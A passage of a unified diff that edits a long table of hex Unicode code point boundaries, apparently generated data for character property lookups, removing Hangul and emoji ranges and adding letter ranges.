+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3005,
+	0x3007,
+	0x3031,
+	0x3036,
+	0x303B,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
 	0xA66F,
-	0xA673,
-	0xA674,
-	0xA67E,
+	0xA67F,
 	0xA69E,
 	0xA6A0,
-	0xA6F0,
-	0xA6F2,
+	0xA6E6,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
 	0xA802,
 	0xA803,
 	0xA806,
@@ -34015,48 +154281,43 @@
 	0xA80B,
 	0xA80C,
 	0xA823,
-	0xA825,
-	0xA827,
-	0xA828,
-	0xA880,
+	0xA840,
+	0xA874,
 	0xA882,
 	0xA8B4,
-	0xA8C4,
-	0xA8C6,
-	0xA8E0,
 	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
 	0xA926,
-	0xA92E,
+	0xA930,
 	0xA947,
-	0xA952,
-	0xA954,
 	0xA960,
 	0xA97D,
-	0xA980,
-	0xA983,
 	0xA984,
 	0xA9B3,
-	0xA9B4,
-	0xA9B6,
-	0xA9BA,
-	0xA9BC,
-	0xA9BD,
-	0xA9C1,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
 	0xA9E5,
 	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
 	0xAA29,
-	0xAA2F,
-	0xAA31,
-	0xAA33,
-	0xAA35,
-	0xAA37,
+	0xAA40,
 	0xAA43,
 	0xAA44,
 	0xAA4C,
-	0xAA4D,
-	0xAA4E,
-	0xAA7C,
-	0xAA7D,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
 	0xAAB0,
 	0xAAB1,
 	0xAAB2,
@@ -34067,2767 +154328,514 @@
 	0xAAC0,
 	0xAAC1,
 	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
 	0xAAEB,
-	0xAAEC,
-	0xAAEE,
-	0xAAF0,
+	0xAAF2,
 	0xAAF5,
-	0xAAF6,
-	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
 	0xABE3,
-	0xABE5,
-	0xABE6,
-	0xABE8,
-	0xABE9,
-	0xABEB,
-	0xABEC,
-	0xABED,
-	0xABEE,
 	0xAC00,
-	0xAC01,
-	0xAC1C,
-	0xAC1D,
-	0xAC38,
-	0xAC39,
-	0xAC54,
-	0xAC55,
-	0xAC70,
-	0xAC71,
-	0xAC8C,
-	0xAC8D,
-	0xACA8,
-	0xACA9,
-	0xACC4,
-	0xACC5,
-	0xACE0,
-	0xACE1,
-	0xACFC,
-	0xACFD,
-	0xAD18,
-	0xAD19,
-	0xAD34,
-	0xAD35,
-	0xAD50,
-	0xAD51,
-	0xAD6C,
-	0xAD6D,
-	0xAD88,
-	0xAD89,
-	0xADA4,
-	0xADA5,
-	0xADC0,
-	0xADC1,
-	0xADDC,
-	0xADDD,
-	0xADF8,
-	0xADF9,
-	0xAE14,
-	0xAE15,
-	0xAE30,
-	0xAE31,
-	0xAE4C,
-	0xAE4D,
-	0xAE68,
-	0xAE69,
-	0xAE84,
-	0xAE85,
-	0xAEA0,
-	0xAEA1,
-	0xAEBC,
-	0xAEBD,
-	0xAED8,
-	0xAED9,
-	0xAEF4,
-	0xAEF5,
-	0xAF10,
-	0xAF11,
-	0xAF2C,
-	0xAF2D,
-	0xAF48,
-	0xAF49,
-	0xAF64,
-	0xAF65,
-	0xAF80,
-	0xAF81,
-	0xAF9C,
-	0xAF9D,
-	0xAFB8,
-	0xAFB9,
-	0xAFD4,
-	0xAFD5,
-	0xAFF0,
-	0xAFF1,
-	0xB00C,
-	0xB00D,
-	0xB028,
-	0xB029,
-	0xB044,
-	0xB045,
-	0xB060,
-	0xB061,
-	0xB07C,
-	0xB07D,
-	0xB098,
-	0xB099,
-	0xB0B4,
-	0xB0B5,
-	0xB0D0,
-	0xB0D1,
-	0xB0EC,
-	0xB0ED,
-	0xB108,
-	0xB109,
-	0xB124,
-	0xB125,
-	0xB140,
-	0xB141,
-	0xB15C,
-	0xB15D,
-	0xB178,
-	0xB179,
-	0xB194,
-	0xB195,
-	0xB1B0,
-	0xB1B1,
-	0xB1CC,
-	0xB1CD,
-	0xB1E8,
-	0xB1E9,
-	0xB204,
-	0xB205,
-	0xB220,
-	0xB221,
-	0xB23C,
-	0xB23D,
-	0xB258,
-	0xB259,
-	0xB274,
-	0xB275,
-	0xB290,
-	0xB291,
-	0xB2AC,
-	0xB2AD,
-	0xB2C8,
-	0xB2C9,
-	0xB2E4,
-	0xB2E5,
-	0xB300,
-	0xB301,
-	0xB31C,
-	0xB31D,
-	0xB338,
-	0xB339,
-	0xB354,
-	0xB355,
-	0xB370,
-	0xB371,
-	0xB38C,
-	0xB38D,
-	0xB3A8,
-	0xB3A9,
-	0xB3C4,
-	0xB3C5,
-	0xB3E0,
-	0xB3E1,
-	0xB3FC,
-	0xB3FD,
-	0xB418,
-	0xB419,
-	0xB434,
-	0xB435,
-	0xB450,
-	0xB451,
-	0xB46C,
-	0xB46D,
-	0xB488,
-	0xB489,
-	0xB4A4,
-	0xB4A5,
-	0xB4C0,
-	0xB4C1,
-	0xB4DC,
-	0xB4DD,
-	0xB4F8,
-	0xB4F9,
-	0xB514,
-	0xB515,
-	0xB530,
-	0xB531,
-	0xB54C,
-	0xB54D,
-	0xB568,
-	0xB569,
-	0xB584,
-	0xB585,
-	0xB5A0,
-	0xB5A1,
-	0xB5BC,
-	0xB5BD,
-	0xB5D8,
-	0xB5D9,
-	0xB5F4,
-	0xB5F5,
-	0xB610,
-	0xB611,
-	0xB62C,
-	0xB62D,
-	0xB648,
-	0xB649,
-	0xB664,
-	0xB665,
-	0xB680,
-	0xB681,
-	0xB69C,
-	0xB69D,
-	0xB6B8,
-	0xB6B9,
-	0xB6D4,
-	0xB6D5,
-	0xB6F0,
-	0xB6F1,
-	0xB70C,
-	0xB70D,
-	0xB728,
-	0xB729,
-	0xB744,
-	0xB745,
-	0xB760,
-	0xB761,
-	0xB77C,
-	0xB77D,
-	0xB798,
-	0xB799,
-	0xB7B4,
-	0xB7B5,
-	0xB7D0,
-	0xB7D1,
-	0xB7EC,
-	0xB7ED,
-	0xB808,
-	0xB809,
-	0xB824,
-	0xB825,
-	0xB840,
-	0xB841,
-	0xB85C,
-	0xB85D,
-	0xB878,
-	0xB879,
-	0xB894,
-	0xB895,
-	0xB8B0,
-	0xB8B1,
-	0xB8CC,
-	0xB8CD,
-	0xB8E8,
-	0xB8E9,
-	0xB904,
-	0xB905,
-	0xB920,
-	0xB921,
-	0xB93C,
-	0xB93D,
-	0xB958,
-	0xB959,
-	0xB974,
-	0xB975,
-	0xB990,
-	0xB991,
-	0xB9AC,
-	0xB9AD,
-	0xB9C8,
-	0xB9C9,
-	0xB9E4,
-	0xB9E5,
-	0xBA00,
-	0xBA01,
-	0xBA1C,
-	0xBA1D,
-	0xBA38,
-	0xBA39,
-	0xBA54,
-	0xBA55,
-	0xBA70,
-	0xBA71,
-	0xBA8C,
-	0xBA8D,
-	0xBAA8,
-	0xBAA9,
-	0xBAC4,
-	0xBAC5,
-	0xBAE0,
-	0xBAE1,
-	0xBAFC,
-	0xBAFD,
-	0xBB18,
-	0xBB19,
-	0xBB34,
-	0xBB35,
-	0xBB50,
-	0xBB51,
-	0xBB6C,
-	0xBB6D,
-	0xBB88,
-	0xBB89,
-	0xBBA4,
-	0xBBA5,
-	0xBBC0,
-	0xBBC1,
-	0xBBDC,
-	0xBBDD,
-	0xBBF8,
-	0xBBF9,
-	0xBC14,
-	0xBC15,
-	0xBC30,
-	0xBC31,
-	0xBC4C,
-	0xBC4D,
-	0xBC68,
-	0xBC69,
-	0xBC84,
-	0xBC85,
-	0xBCA0,
-	0xBCA1,
-	0xBCBC,
-	0xBCBD,
-	0xBCD8,
-	0xBCD9,
-	0xBCF4,
-	0xBCF5,
-	0xBD10,
-	0xBD11,
-	0xBD2C,
-	0xBD2D,
-	0xBD48,
-	0xBD49,
-	0xBD64,
-	0xBD65,
-	0xBD80,
-	0xBD81,
-	0xBD9C,
-	0xBD9D,
-	0xBDB8,
-	0xBDB9,
-	0xBDD4,
-	0xBDD5,
-	0xBDF0,
-	0xBDF1,
-	0xBE0C,
-	0xBE0D,
-	0xBE28,
-	0xBE29,
-	0xBE44,
-	0xBE45,
-	0xBE60,
-	0xBE61,
-	0xBE7C,
-	0xBE7D,
-	0xBE98,
-	0xBE99,
-	0xBEB4,
-	0xBEB5,
-	0xBED0,
-	0xBED1,
-	0xBEEC,
-	0xBEED,
-	0xBF08,
-	0xBF09,
-	0xBF24,
-	0xBF25,
-	0xBF40,
-	0xBF41,
-	0xBF5C,
-	0xBF5D,
-	0xBF78,
-	0xBF79,
-	0xBF94,
-	0xBF95,
-	0xBFB0,
-	0xBFB1,
-	0xBFCC,
-	0xBFCD,
-	0xBFE8,
-	0xBFE9,
-	0xC004,
-	0xC005,
-	0xC020,
-	0xC021,
-	0xC03C,
-	0xC03D,
-	0xC058,
-	0xC059,
-	0xC074,
-	0xC075,
-	0xC090,
-	0xC091,
-	0xC0AC,
-	0xC0AD,
-	0xC0C8,
-	0xC0C9,
-	0xC0E4,
-	0xC0E5,
-	0xC100,
-	0xC101,
-	0xC11C,
-	0xC11D,
-	0xC138,
-	0xC139,
-	0xC154,
-	0xC155,
-	0xC170,
-	0xC171,
-	0xC18C,
-	0xC18D,
-	0xC1A8,
-	0xC1A9,
-	0xC1C4,
-	0xC1C5,
-	0xC1E0,
-	0xC1E1,
-	0xC1FC,
-	0xC1FD,
-	0xC218,
-	0xC219,
-	0xC234,
-	0xC235,
-	0xC250,
-	0xC251,
-	0xC26C,
-	0xC26D,
-	0xC288,
-	0xC289,
-	0xC2A4,
-	0xC2A5,
-	0xC2C0,
-	0xC2C1,
-	0xC2DC,
-	0xC2DD,
-	0xC2F8,
-	0xC2F9,
-	0xC314,
-	0xC315,
-	0xC330,
-	0xC331,
-	0xC34C,
-	0xC34D,
-	0xC368,
-	0xC369,
-	0xC384,
-	0xC385,
-	0xC3A0,
-	0xC3A1,
-	0xC3BC,
-	0xC3BD,
-	0xC3D8,
-	0xC3D9,
-	0xC3F4,
-	0xC3F5,
-	0xC410,
-	0xC411,
-	0xC42C,
-	0xC42D,
-	0xC448,
-	0xC449,
-	0xC464,
-	0xC465,
-	0xC480,
-	0xC481,
-	0xC49C,
-	0xC49D,
-	0xC4B8,
-	0xC4B9,
-	0xC4D4,
-	0xC4D5,
-	0xC4F0,
-	0xC4F1,
-	0xC50C,
-	0xC50D,
-	0xC528,
-	0xC529,
-	0xC544,
-	0xC545,
-	0xC560,
-	0xC561,
-	0xC57C,
-	0xC57D,
-	0xC598,
-	0xC599,
-	0xC5B4,
-	0xC5B5,
-	0xC5D0,
-	0xC5D1,
-	0xC5EC,
-	0xC5ED,
-	0xC608,
-	0xC609,
-	0xC624,
-	0xC625,
-	0xC640,
-	0xC641,
-	0xC65C,
-	0xC65D,
-	0xC678,
-	0xC679,
-	0xC694,
-	0xC695,
-	0xC6B0,
-	0xC6B1,
-	0xC6CC,
-	0xC6CD,
-	0xC6E8,
-	0xC6E9,
-	0xC704,
-	0xC705,
-	0xC720,
-	0xC721,
-	0xC73C,
-	0xC73D,
-	0xC758,
-	0xC759,
-	0xC774,
-	0xC775,
-	0xC790,
-	0xC791,
-	0xC7AC,
-	0xC7AD,
-	0xC7C8,
-	0xC7C9,
-	0xC7E4,
-	0xC7E5,
-	0xC800,
-	0xC801,
-	0xC81C,
-	0xC81D,
-	0xC838,
-	0xC839,
-	0xC854,
-	0xC855,
-	0xC870,
-	0xC871,
-	0xC88C,
-	0xC88D,
-	0xC8A8,
-	0xC8A9,
-	0xC8C4,
-	0xC8C5,
-	0xC8E0,
-	0xC8E1,
-	0xC8FC,
-	0xC8FD,
-	0xC918,
-	0xC919,
-	0xC934,
-	0xC935,
-	0xC950,
-	0xC951,
-	0xC96C,
-	0xC96D,
-	0xC988,
-	0xC989,
-	0xC9A4,
-	0xC9A5,
-	0xC9C0,
-	0xC9C1,
-	0xC9DC,
-	0xC9DD,
-	0xC9F8,
-	0xC9F9,
-	0xCA14,
-	0xCA15,
-	0xCA30,
-	0xCA31,
-	0xCA4C,
-	0xCA4D,
-	0xCA68,
-	0xCA69,
-	0xCA84,
-	0xCA85,
-	0xCAA0,
-	0xCAA1,
-	0xCABC,
-	0xCABD,
-	0xCAD8,
-	0xCAD9,
-	0xCAF4,
-	0xCAF5,
-	0xCB10,
-	0xCB11,
-	0xCB2C,
-	0xCB2D,
-	0xCB48,
-	0xCB49,
-	0xCB64,
-	0xCB65,
-	0xCB80,
-	0xCB81,
-	0xCB9C,
-	0xCB9D,
-	0xCBB8,
-	0xCBB9,
-	0xCBD4,
-	0xCBD5,
-	0xCBF0,
-	0xCBF1,
-	0xCC0C,
-	0xCC0D,
-	0xCC28,
-	0xCC29,
-	0xCC44,
-	0xCC45,
-	0xCC60,
-	0xCC61,
-	0xCC7C,
-	0xCC7D,
-	0xCC98,
-	0xCC99,
-	0xCCB4,
-	0xCCB5,
-	0xCCD0,
-	0xCCD1,
-	0xCCEC,
-	0xCCED,
-	0xCD08,
-	0xCD09,
-	0xCD24,
-	0xCD25,
-	0xCD40,
-	0xCD41,
-	0xCD5C,
-	0xCD5D,
-	0xCD78,
-	0xCD79,
-	0xCD94,
-	0xCD95,
-	0xCDB0,
-	0xCDB1,
-	0xCDCC,
-	0xCDCD,
-	0xCDE8,
-	0xCDE9,
-	0xCE04,
-	0xCE05,
-	0xCE20,
-	0xCE21,
-	0xCE3C,
-	0xCE3D,
-	0xCE58,
-	0xCE59,
-	0xCE74,
-	0xCE75,
-	0xCE90,
-	0xCE91,
-	0xCEAC,
-	0xCEAD,
-	0xCEC8,
-	0xCEC9,
-	0xCEE4,
-	0xCEE5,
-	0xCF00,
-	0xCF01,
-	0xCF1C,
-	0xCF1D,
-	0xCF38,
-	0xCF39,
-	0xCF54,
-	0xCF55,
-	0xCF70,
-	0xCF71,
-	0xCF8C,
-	0xCF8D,
-	0xCFA8,
-	0xCFA9,
-	0xCFC4,
-	0xCFC5,
-	0xCFE0,
-	0xCFE1,
-	0xCFFC,
-	0xCFFD,
-	0xD018,
-	0xD019,
-	0xD034,
-	0xD035,
-	0xD050,
-	0xD051,
-	0xD06C,
-	0xD06D,
-	0xD088,
-	0xD089,
-	0xD0A4,
-	0xD0A5,
-	0xD0C0,
-	0xD0C1,
-	0xD0DC,
-	0xD0DD,
-	0xD0F8,
-	0xD0F9,
-	0xD114,
-	0xD115,
-	0xD130,
-	0xD131,
-	0xD14C,
-	0xD14D,
-	0xD168,
-	0xD169,
-	0xD184,
-	0xD185,
-	0xD1A0,
-	0xD1A1,
-	0xD1BC,
-	0xD1BD,
-	0xD1D8,
-	0xD1D9,
-	0xD1F4,
-	0xD1F5,
-	0xD210,
-	0xD211,
-	0xD22C,
-	0xD22D,
-	0xD248,
-	0xD249,
-	0xD264,
-	0xD265,
-	0xD280,
-	0xD281,
-	0xD29C,
-	0xD29D,
-	0xD2B8,
-	0xD2B9,
-	0xD2D4,
-	0xD2D5,
-	0xD2F0,
-	0xD2F1,
-	0xD30C,
-	0xD30D,
-	0xD328,
-	0xD329,
-	0xD344,
-	0xD345,
-	0xD360,
-	0xD361,
-	0xD37C,
-	0xD37D,
-	0xD398,
-	0xD399,
-	0xD3B4,
-	0xD3B5,
-	0xD3D0,
-	0xD3D1,
-	0xD3EC,
-	0xD3ED,
-	0xD408,
-	0xD409,
-	0xD424,
-	0xD425,
-	0xD440,
-	0xD441,
-	0xD45C,
-	0xD45D,
-	0xD478,
-	0xD479,
-	0xD494,
-	0xD495,
-	0xD4B0,
-	0xD4B1,
-	0xD4CC,
-	0xD4CD,
-	0xD4E8,
-	0xD4E9,
-	0xD504,
-	0xD505,
-	0xD520,
-	0xD521,
-	0xD53C,
-	0xD53D,
-	0xD558,
-	0xD559,
-	0xD574,
-	0xD575,
-	0xD590,
-	0xD591,
-	0xD5AC,
-	0xD5AD,
-	0xD5C8,
-	0xD5C9,
-	0xD5E4,
-	0xD5E5,
-	0xD600,
-	0xD601,
-	0xD61C,
-	0xD61D,
-	0xD638,
-	0xD639,
-	0xD654,
-	0xD655,
-	0xD670,
-	0xD671,
-	0xD68C,
-	0xD68D,
-	0xD6A8,
-	0xD6A9,
-	0xD6C4,
-	0xD6C5,
-	0xD6E0,
-	0xD6E1,
-	0xD6FC,
-	0xD6FD,
-	0xD718,
-	0xD719,
-	0xD734,
-	0xD735,
-	0xD750,
-	0xD751,
-	0xD76C,
-	0xD76D,
-	0xD788,
-	0xD789,
 	0xD7A4,
 	0xD7B0,
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
-	0xD800,
-	0xE000,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
 	0xFB1E,
 	0xFB1F,
-	0xFE00,
-	0xFE10,
-	0xFE20,
-	0xFE30,
-	0xFEFF,
-	0xFF00,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFC5E,
+	0xFC64,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFA,
+	0xFE71,
+	0xFE72,
+	0xFE73,
+	0xFE74,
+	0xFE77,
+	0xFE78,
+	0xFE79,
+	0xFE7A,
+	0xFE7B,
+	0xFE7C,
+	0xFE7D,
+	0xFE7E,
+	0xFE7F,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
 	0xFF9E,
 	0xFFA0,
-	0xFFF0,
-	0xFFFC,
-	0x101FD,
-	0x101FE,
-	0x102E0,
-	0x102E1,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
 	0x10376,
-	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
 	0x10A01,
-	0x10A04,
-	0x10A05,
-	0x10A07,
-	0x10A0C,
 	0x10A10,
-	0x10A38,
-	0x10A3B,
-	0x10A3F,
-	0x10A40,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
 	0x10AE5,
-	0x10AE7,
-	0x11000,
-	0x11001,
-	0x11002,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
 	0x11003,
 	0x11038,
-	0x11047,
-	0x1107F,
-	0x11082,
 	0x11083,
 	0x110B0,
-	0x110B3,
-	0x110B7,
-	0x110B9,
-	0x110BB,
-	0x110BD,
-	0x110BE,
-	0x11100,
+	0x110D0,
+	0x110E9,
 	0x11103,
 	0x11127,
-	0x1112C,
-	0x1112D,
-	0x11135,
+	0x11150,
 	0x11173,
-	0x11174,
-	0x11180,
-	0x11182,
+	0x11176,
+	0x11177,
 	0x11183,
 	0x111B3,
-	0x111B6,
-	0x111BF,
 	0x111C1,
-	0x111C2,
-	0x111C4,
-	0x111CA,
-	0x111CD,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
 	0x1122C,
-	0x1122F,
-	0x11232,
-	0x11234,
-	0x11235,
-	0x11236,
-	0x11238,
-	0x1123E,
-	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
 	0x112DF,
-	0x112E0,
-	0x112E3,
-	0x112EB,
-	0x11300,
-	0x11302,
-	0x11304,
-	0x1133C,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
 	0x1133D,
 	0x1133E,
-	0x1133F,
-	0x11340,
-	0x11341,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134E,
-	0x11357,
-	0x11358,
+	0x11350,
+	0x11351,
+	0x1135D,
 	0x11362,
-	0x11364,
-	0x11366,
-	0x1136D,
-	0x11370,
-	0x11375,
+	0x11400,
 	0x11435,
-	0x11438,
-	0x11440,
-	0x11442,
-	0x11445,
-	0x11446,
 	0x11447,
+	0x1144B,
+	0x11480,
 	0x114B0,
-	0x114B1,
-	0x114B3,
-	0x114B9,
-	0x114BA,
-	0x114BB,
-	0x114BD,
-	0x114BE,
-	0x114BF,
-	0x114C1,
-	0x114C2,
 	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
 	0x115AF,
-	0x115B0,
-	0x115B2,
-	0x115B6,
-	0x115B8,
-	0x115BC,
-	0x115BE,
-	0x115BF,
-	0x115C1,
+	0x115D8,
 	0x115DC,
-	0x115DE,
+	0x11600,
 	0x11630,
-	0x11633,
-	0x1163B,
-	0x1163D,
-	0x1163E,
-	0x1163F,
-	0x11641,
+	0x11644,
+	0x11645,
+	0x11680,
 	0x116AB,
-	0x116AC,
-	0x116AD,
-	0x116AE,
-	0x116B0,
-	0x116B6,
-	0x116B7,
-	0x116B8,
-	0x1171D,
-	0x11720,
-	0x11722,
-	0x11726,
-	0x11727,
-	0x1172C,
+	0x11700,
+	0x1171A,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
 	0x11C2F,
-	0x11C30,
-	0x11C37,
-	0x11C38,
-	0x11C3E,
-	0x11C3F,
 	0x11C40,
-	0x11C92,
-	0x11CA8,
-	0x11CA9,
-	0x11CAA,
-	0x11CB1,
-	0x11CB2,
-	0x11CB4,
-	0x11CB5,
-	0x11CB7,
-	0x16AF0,
-	0x16AF5,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
 	0x16B30,
-	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
 	0x16F51,
-	0x16F7F,
-	0x16F8F,
 	0x16F93,
-	0x1BC9D,
-	0x1BC9F,
-	0x1BCA0,
-	0x1BCA4,
-	0x1D165,
-	0x1D166,
-	0x1D167,
-	0x1D16A,
-	0x1D16D,
-	0x1D16E,
-	0x1D173,
-	0x1D17B,
-	0x1D183,
-	0x1D185,
-	0x1D18C,
-	0x1D1AA,
-	0x1D1AE,
-	0x1D242,
-	0x1D245,
-	0x1DA00,
-	0x1DA37,
-	0x1DA3B,
-	0x1DA6D,
-	0x1DA75,
-	0x1DA76,
-	0x1DA84,
-	0x1DA85,
-	0x1DA9B,
-	0x1DAA0,
-	0x1DAA1,
-	0x1DAB0,
-	0x1E000,
-	0x1E007,
-	0x1E008,
-	0x1E019,
-	0x1E01B,
-	0x1E022,
-	0x1E023,
-	0x1E025,
-	0x1E026,
-	0x1E02B,
-	0x1E8D0,
-	0x1E8D7,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
 	0x1E944,
-	0x1E94B,
-	0x1F1E6,
-	0x1F200,
-	0x1F385,
-	0x1F386,
-	0x1F3C3,
-	0x1F3C5,
-	0x1F3CA,
-	0x1F3CC,
-	0x1F3FB,
-	0x1F400,
-	0x1F442,
-	0x1F444,
-	0x1F446,
-	0x1F451,
-	0x1F466,
-	0x1F46A,
-	0x1F46E,
-	0x1F46F,
-	0x1F470,
-	0x1F479,
-	0x1F47C,
-	0x1F47D,
-	0x1F481,
-	0x1F484,
-	0x1F485,
-	0x1F488,
-	0x1F48B,
-	0x1F48C,
-	0x1F4AA,
-	0x1F4AB,
-	0x1F575,
-	0x1F576,
-	0x1F57A,
-	0x1F57B,
-	0x1F590,
-	0x1F591,
-	0x1F595,
-	0x1F597,
-	0x1F5E8,
-	0x1F5E9,
-	0x1F645,
-	0x1F648,
-	0x1F64B,
-	0x1F650,
-	0x1F6A3,
-	0x1F6A4,
-	0x1F6B4,
-	0x1F6B7,
-	0x1F6C0,
-	0x1F6C1,
-	0x1F918,
-	0x1F91F,
-	0x1F926,
-	0x1F927,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93A,
-	0x1F93C,
-	0x1F93F,
-	0xE0000,
-	0xE0020,
-	0xE0080,
-	0xE0100,
-	0xE01F0,
-	0xE1000
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
